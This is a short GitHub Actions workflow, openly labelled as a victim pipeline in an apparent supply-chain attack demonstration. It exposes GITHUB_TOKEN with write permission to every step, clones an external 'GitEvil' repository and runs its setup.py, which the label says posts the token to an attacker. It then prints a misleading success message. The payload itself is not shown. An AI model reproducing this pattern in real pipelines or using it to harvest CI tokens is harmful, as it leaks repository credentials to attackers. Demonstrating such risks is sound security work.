Victim workflow which post the token to attacker during the build

victim.yml

name: Build Markitanalysis - publish internally

on:
  workflow_dispatch:

jobs:
  build_and_release:
    runs-on: ubuntu-latest
    permissions:
      contents: write  # Required to upload assets

    env:  # Set GITHUB_TOKEN globally for all steps
      GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

    steps:
      # Step 1: Checkout the repository
      - name: Checkout code
        uses: actions/checkout@v3

      # Step 2: Set up Python
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.12'

      # Step 3: Install dependencies
      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip setuptools wheel
          python -m pip install requests
          python -m pip install colorama

      #Step 4: Clone https://github.com/jayaramyalla/GitEvil.git
      - name: Clone GitEvil
        run: |
          git clone https://github.com/jayaramyalla/GitEvil.git

      #Step 5: Change dir to the clone project and build the code
      - name: Change the directory and test for build
        run: |
          cd ./GitEvil/markitanalysis
          python setup.py bdist_wheel --verbose 

      #Step 6: Publish to internal Artifactory repo post to build
      - name: Publish to internal Artifactory
        run: |
          echo -e "\033[92m BUILD IS SUCCESSFUL AND GOOD TO PUBLISH TO INTERNAL ARTIFACTORY\033[0m"